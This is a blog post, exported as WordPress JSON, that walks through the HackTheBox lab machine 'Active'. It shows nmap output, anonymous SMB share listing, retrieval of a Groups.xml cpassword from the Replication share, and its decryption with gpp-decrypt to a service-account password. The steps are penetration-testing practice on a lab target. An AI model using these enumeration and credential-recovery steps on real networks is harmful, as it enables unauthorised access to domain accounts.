{"id":62,"date":"2026-01-19T22:23:46","date_gmt":"2026-01-19T22:23:46","guid":{"rendered":"https:\/\/patatties.nl\/?p=62"},"modified":"2026-01-20T00:13:39","modified_gmt":"2026-01-20T00:13:39","slug":"htb-activev","status":"publish","type":"post","link":"https:\/\/patatties.nl\/?p=62","title":{"rendered":"HTB: Active"},"content":{"rendered":"\n
\"\"<\/figure>\n\n\n\n
\"\"<\/figure>\n\n\n\n

A Windows box this time. Its called Active. What are the chances that this is about Active Directory exploitation? I think fairly probable! I like Active Directory enumeration, so that would be great! Lets boot it up!<\/p>\n\n\n\n

\n\n\n\n

First recon. I ping the host to check vpn connectivity, and follow up with a portscan<\/p>\n\n\n\n

\u250c\u2500\u2500(root\u327fkali)-[\/home\/kali]\n\u2514\u2500# nmap -sV -sC -p- 10.129.5.8   \nStarting Nmap 7.98 ( https:\/\/nmap.org ) at 2026-01-19 17:35 -0500\nNmap scan report for 10.129.5.8\nHost is up (0.0057s latency).\nNot shown: 65512 closed tcp ports (reset)\nPORT      STATE SERVICE       VERSION\n53\/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)\n| dns-nsid: \n|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)\n88\/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-01-19 22:36:32Z)\n135\/tcp   open  msrpc         Microsoft Windows RPC\n139\/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn\n389\/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)\n445\/tcp   open  microsoft-ds?\n464\/tcp   open  kpasswd5?\n593\/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0\n636\/tcp   open  tcpwrapped\n3268\/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)\n3269\/tcp  open  tcpwrapped\n5722\/tcp  open  msrpc         Microsoft Windows RPC\n9389\/tcp  open  mc-nmf        .NET Message Framing\n47001\/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP\/UPnP)\n|_http-server-header: Microsoft-HTTPAPI\/2.0\n|_http-title: Not Found\n49152\/tcp open  msrpc         Microsoft Windows RPC\n49153\/tcp open  msrpc         Microsoft Windows RPC\n49154\/tcp open  msrpc         Microsoft Windows RPC\n49155\/tcp open  msrpc         Microsoft Windows RPC\n49157\/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0\n49158\/tcp open  msrpc         Microsoft Windows RPC\n49165\/tcp open  msrpc         Microsoft Windows RPC\n49166\/tcp open  msrpc         Microsoft Windows RPC\n49173\/tcp open  msrpc         Microsoft Windows RPC\nService Info: Host: DC; OS: Windows; CPE: cpe:\/o:microsoft:windows_server_2008:r2:sp1, cpe:\/o:microsoft:windows\n\nHost script results:\n| smb2-time: \n|   date: 2026-01-19T22:37:28\n|_  start_date: 2026-01-19T22:19:17\n| smb2-security-mode: \n|   2.1: \n|_    Message signing enabled and required\n\nService detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 131.95 seconds\n<\/code><\/pre>\n\n\n\n
the open Kerberos (88) and LDAP (389,636) ports seem to confirm my expectation that this is indeed a Active Directory server. Apperently Server 2008 R2. Pretty old.<\/p>\n\n\n\n
With empty creds we can enumerate the shares on SMB<\/p>\n\n\n\n
\u2500\u2500(root\u327fkali)-[\/home\/kali\/htb\/nibble]\n\u2514\u2500# smbmap -u '' -p '' -H 10.129.5.8     \n\n    ________  ___      ___  _______   ___      ___       __         _______\n   \/\"       )|\"  \\    \/\"  ||   _  \"\\ |\"  \\    \/\"  |     \/\"\"\\       |   __ \"\\\n  (:   \\___\/  \\   \\  \/\/   |(. |_)  :) \\   \\  \/\/   |    \/    \\      (. |__) :)\n   \\___  \\    \/\\  \\\/.    ||:     \\\/   \/\\   \\\/.    |   \/' \/\\  \\     |:  ____\/\n    __\/  \\   |: \\.        |(|  _  \\  |: \\.        |  \/\/  __'  \\    (|  \/\n   \/\" \\   :) |.  \\    \/:  ||: |_)  :)|.  \\    \/:  | \/   \/  \\   \\  \/|__\/ \\\n  (_______\/  |___|\\__\/|___|(_______\/ |___|\\__\/|___|(___\/    \\___)(_______)\n-----------------------------------------------------------------------------\nSMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com\n                     https://github.com\/ShawnDEvans\/smbmap\n\n[*] Detected 1 hosts serving SMB                                                                                                  \n[*] Established 1 SMB connections(s) and 1 authenticated session(s)                                                      \n                                                                                                                             \n[+] IP: 10.129.5.8:445  Name: 10.129.5.8                Status: Authenticated\n        Disk                                                    Permissions     Comment\n        ----                                                    -----------     -------\n        ADMIN$                                                  NO ACCESS       Remote Admin\n        C$                                                      NO ACCESS       Default share\n        IPC$                                                    NO ACCESS       Remote IPC\n        NETLOGON                                                NO ACCESS       Logon server share \n        Replication                                             READ ONLY\n        SYSVOL                                                  NO ACCESS       Logon server share \n        Users                                                   NO ACCESS\n[*] Closed 1 connections                                                                <\/code><\/pre>\n\n\n\n
mostly no access, but we can read Replication.<\/p>\n\n\n\n
signing in on the replication share anonymously we see the hostname of the box.<\/p>\n\n\n\n
\u250c\u2500\u2500(root\u327fkali)-[\/home\/kali\/htb\/active]\n\u2514\u2500# smbclient \\\\\\\\10.129.5.8\\\\Replication\nPassword for [WORKGROUP\\root]:\nAnonymous login successful\nTry \"help\" to get a list of possible commands.\nsmb: \\> ls\n  .                                   D        0  Sat Jul 21 06:37:44 2018\n  ..                                  D        0  Sat Jul 21 06:37:44 2018\n  active.htb                          D        0  Sat Jul 21 06:37:44 2018\n\n                5217023 blocks of size 4096. 284068 blocks available\nsmb: \\> <\/code><\/pre>\n\n\n\n
I don’t have a smart way of doing this, i just browse trough the folders opening the files, see what i have.<\/p>\n\n\n\n
When browsing this directory, i found a path with a file that seems to have a password hash?<\/p>\n\n\n\n
smb: \\active.htb\\Policies\\{31B2F340-016D-11D2-945F-00C04FB984F9}\\Machine\\Preferences\\Groups\\> ls\n  .                                   D        0  Sat Jul 21 06:37:44 2018\n  ..                                  D        0  Sat Jul 21 06:37:44 2018\n  Groups.xml                          A      533  Wed Jul 18 16:46:06 2018\n\nmore Groups.xml>\n\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Groups clsid=\"{3125E937-EB16-4b4c-9934-544FC6D24D26}\"><User clsid=\"{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}\" name=\"active.htb\\SVC_TGS\" image=\"2\" changed=\"2018-07-18 20:46:06\" uid=\"{EF57DA28-5F69-4530-A59E-AAB58578219D}\"><Properties action=\"U\" newName=\"\" fullName=\"\" description=\"\" cpassword=\"edBSHOwhZLTjt\/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw\/NglVmQ\" changeLogon=\"0\" noChange=\"1\" neverExpires=\"1\" acctDisabled=\"0\" userName=\"active.htb\\SVC_TGS\"\/><\/User>\n<\/Groups>\n<\/code><\/pre>\n\n\n\n
this looks like a hash for active.htb\\SVC_TGS. Lets look a bit further, but this looks promising. Part of the Ticket Granting Service of Kerberos i hope.<\/p>\n\n\n\n
Googling cpassword a bit apperently these were encrypted using a static universal AES key. kali comes with a tool gpp-decrypt, which can be used to decrypt the password.<\/p>\n\n\n\n
\u250c\u2500\u2500(root\u327fkali)-[\/home\/kali\/htb\/active]\n\u2514\u2500# gpp-decrypt edBSHOwhZLTjt\/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw\/NglVmQ\nGPPstillStandingStrong2k18\n<\/code><\/pre>\n\n\n\n
We now have a user, with which we can try to interact with the system. Lets see if these creds now work!<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
We have more shares in read only now! So i guess they still work!<\/p>\n\n\n\n